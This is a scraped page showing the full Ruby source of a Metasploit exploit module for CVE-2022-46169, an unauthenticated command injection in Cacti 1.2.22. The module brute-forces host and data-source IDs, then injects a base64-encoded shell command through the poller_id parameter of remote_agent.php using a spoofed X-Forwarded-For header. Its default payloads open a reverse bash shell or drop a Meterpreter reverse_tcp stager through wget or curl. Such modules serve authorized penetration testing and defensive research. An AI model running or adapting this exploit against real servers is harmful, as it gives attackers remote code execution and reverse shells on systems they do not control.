Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cacti 1.2.22 unauthenticated command injection',17'Description' => %q{18This module exploits an unauthenticated command injection19vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in20order to achieve unauthenticated remote code execution as the21www-data user.2223The module first attempts to obtain the Cacti version to see24if the target is affected. If LOCAL_DATA_ID and/or HOST_ID25are not set, the module will try to bruteforce the missing26value(s). If a valid combination is found, the module will27use these to attempt exploitation. If LOCAL_DATA_ID and/or28HOST_ID are both set, the module will immediately attempt29exploitation.3031During exploitation, the module sends a GET request to32/remote_agent.php with the action parameter set to polldata33and the X-Forwarded-For header set to the provided value for34X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the35poller_id parameter is set to the payload and the host_id36and local_data_id parameters are set to the bruteforced or37provided values. If X_FORWARDED_FOR_IP is set to an address38that is resolvable to a hostname in the poller table, and the39local_data_id and host_id values are vulnerable, the payload40set for poller_id will be executed by the target.4142This module has been successfully tested against Cacti43version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)44},45'License' => MSF_LICENSE,46'Author' => [47'Stefan Schiller', # discovery (independent of Steven Seeley)48'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)49'Owen Gong', # @phithon_xg - vulhub PoC50'Erik Wynter' # @wyntererik - Metasploit51],52'References' => [53['CVE', '2022-46169'],54['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details55['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC56['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller57],58'DefaultOptions' => {59'RPORT' => 808060},61'Platform' => %w[unix linux],62'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],63'Targets' => [64[65'Automatic (Unix In-Memory)',66{67'Platform' => 'unix',68'Arch' => ARCH_CMD,69'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },70'Type' => :unix_memory71}72],73[74'Automatic (Linux Dropper)',75{76'Platform' => 'linux',77'Arch' => [ARCH_X86, ARCH_X64],78'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],79'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },80'Type' => :linux_dropper81}82]83],84'Privileged' => false,85'DisclosureDate' => '2022-12-05',86'DefaultTarget' => 1,87'Notes' => {88'Stability' => [ CRASH_SAFE ],89'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],90'Reliability' => [ REPEATABLE_SESSION ]91}92)93)9495register_options([96OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),97OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),98OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),99OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])100])101102register_advanced_options([103OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),104OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),105OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),106OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])107])108end109110def check111# sanity check to see if the target is likely Cacti112res = send_request_cgi({113'method' => 'GET',114'uri' => normalize_uri(target_uri.path)115})116117unless res118return CheckCode::Unknown('Connection failed.')119end120121unless res.code == 200 && res.body.include?('<title>Login to Cacti')122return CheckCode::Safe('Target is not a Cacti application.')123end124125# get the version126version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first127if version.blank?128return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')129end130131begin132if Rex::Version.new(version) <= Rex::Version.new('1.2.22')133return CheckCode::Appears("The target is Cacti version #{version}")134else135return CheckCode::Safe("The target is Cacti version #{version}")136end137rescue StandardError => e138return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")139end140end141142def exploitable_rrd_names143[144'apache_total_kbytes',145'apache_total_hits',146'apache_total_hits',147'apache_total_kbytes',148'apache_cpuload',149'boost_avg_size',150'boost_peak_memory',151'boost_records',152'boost_table',153'ExportDuration',154'ExportGraphs',155'syslogRuntime',156'tholdRuntime',157'polling_time',158'uptime',159]160end161162def brute_force_ids163# perform a sanity check first164if @host_id165host_ids = [@host_id]166else167if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']168fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')169end170host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a171end172173if @local_data_id174local_data_ids = [@local_data_ids]175else176if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']177fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')178end179local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a180end181182# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id183max_attempts = host_ids.length * local_data_ids.length184if max_attempts > 1000185fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')186end187188potential_targets = []189request_ct = 0190191print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")192host_ids.each do |h_id|193print_status("Enumerating local_data_id values for host_id #{h_id}")194local_data_ids.each do |ld_id|195request_ct += 1196print_status("Performing request #{request_ct}...") if request_ct % 25 == 0197198res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))199unless res200print_error('No response received. Aborting bruteforce')201return nil202end203204unless res.code == 200205print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")206return nil207end208209begin210parsed_response = JSON.parse(res.body)211rescue JSON::ParserError212print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")213return nil214end215216unless parsed_response.is_a?(Array)217print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")218return nil219end220221# the array can be empty, which is not an error but just means the local_data_id is not exploitable222next if parsed_response.empty?223224first_item = parsed_response.first225unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }226print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")227return nil228end229230# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array231# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it232# in addition, some data source types have an empty rrd_name but are still exploitable233# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it234# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end235# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options236rrd_name = first_item['rrd_name']237if rrd_name.empty?238potential_targets << [h_id, ld_id]239elsif exploitable_rrd_names.include?(rrd_name)240print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")241return [h_id, ld_id]242else243next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on244end245end246end247248return nil if potential_targets.empty?249250# inform the user about potential targets251print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")252potential_targets.each do |h_id, ld_id|253print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")254end255print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')256nil257end258259def execute_command(cmd, _opts = {})260# use base64 encoding to get around special char limitations261cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"262send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)263end264265def exploit266@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?267@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?268269unless @host_id && @local_data_id270brute_force_result = brute_force_ids271unless brute_force_result272fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')273end274@host_id, @local_data_id = brute_force_result275end276277if target.arch.first == ARCH_CMD278print_status('Executing the payload. This may take a few seconds...')279execute_command(payload.encoded)280else281execute_cmdstager(background: true)282end283end284285def remote_agent_request(ld_id, h_id, poller_id)286{287'method' => 'GET',288'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),289'headers' => {290'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']291},292'vars_get' => {293'action' => 'polldata',294'local_data_ids[0]' => ld_id,295'host_id' => h_id,296'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload297}298}299end300end301302303